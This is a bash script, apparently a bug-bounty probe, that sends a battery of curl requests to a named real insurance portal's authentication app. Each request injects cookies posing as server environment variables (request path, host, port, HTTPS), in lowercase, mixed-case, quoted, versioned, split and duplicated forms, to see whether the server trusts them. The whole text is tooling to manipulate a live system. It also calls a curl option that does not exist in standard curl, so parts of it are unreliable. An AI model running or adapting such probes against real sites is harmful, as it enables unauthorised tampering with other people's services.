#!/bin/bash
set -u
url='https://mein-portal.baloise.de/auth/ui/app'
run(){ n="$1"; shift; echo "=== $n ==="; curl --toadex-no-capture --path-as-is -sS -D "/tmp/$n.h" -o "/tmp/$n.b" -w '%{http_code}\t%{size_download}\t%{content_type}\t%{time_total}\n' -H 'X-Bug-Bounty: dwbzn' --max-time 15 "$@" "$url" || true; rg -i '^(HTTP/|location:|set-cookie:|content-type:|content-length:)' "/tmp/$n.h" | head -20; head -c 100 "/tmp/$n.b" | tr '\r\n' ' '; echo; }
run control
run exact -H 'Cookie: AL_ENV_SERVER_REQUEST=%2Fauth%2Fui%2Fapp; AL_ENV_SERVER_NAME=mein-portal.baloise.de; AL_ENV_SERVER_PORT=x; AL_ENV_HTTPS=on'
run lowercase -H 'Cookie: al_env_server_request=%2Fauth%2Fui%2Fapp; al_env_server_name=mein-portal.baloise.de; al_env_server_port=x; al_env_https=on'
run mixed -H 'Cookie: Al_EnV_SeRvEr_ReQuEsT=%2Fauth%2Fui%2Fapp; Al_EnV_SeRvEr_NaMe=mein-portal.baloise.de; Al_EnV_SeRvEr_PoRt=x; Al_EnV_HtTpS=on'
run quoted -H 'Cookie: AL_ENV_SERVER_REQUEST="%2Fauth%2Fui%2Fapp"; AL_ENV_SERVER_NAME="mein-portal.baloise.de"; AL_ENV_SERVER_PORT="x"; AL_ENV_HTTPS="on"'
run versioned -H 'Cookie: $Version=1; AL_ENV_SERVER_REQUEST="%2Fauth%2Fui%2Fapp"; $Path="/"; AL_ENV_SERVER_NAME="mein-portal.baloise.de"; AL_ENV_SERVER_PORT="x"; AL_ENV_HTTPS="on"'
run split -H 'Cookie: AL_ENV_SERVER_REQUEST=%2Fauth%2Fui%2Fapp; AL_ENV_SERVER_NAME=mein-portal.baloise.de' -H 'Cookie: AL_ENV_SERVER_PORT=x; AL_ENV_HTTPS=on'
run dupport-first -H 'Cookie: AL_ENV_SERVER_REQUEST=%2Fauth%2Fui%2Fapp; AL_ENV_SERVER_NAME=mein-portal.baloise.de; AL_ENV_SERVER_PORT=x; AL_ENV_SERVER_PORT=443; AL_ENV_HTTPS=on'
run dupport-last -H 'Cookie: AL_ENV_SERVER_REQUEST=%2Fauth%2Fui%2Fapp; AL_ENV_SERVER_NAME=mein-portal.baloise.de; AL_ENV_SERVER_PORT=443; AL_ENV_SERVER_PORT=x; AL_ENV_HTTPS=on'
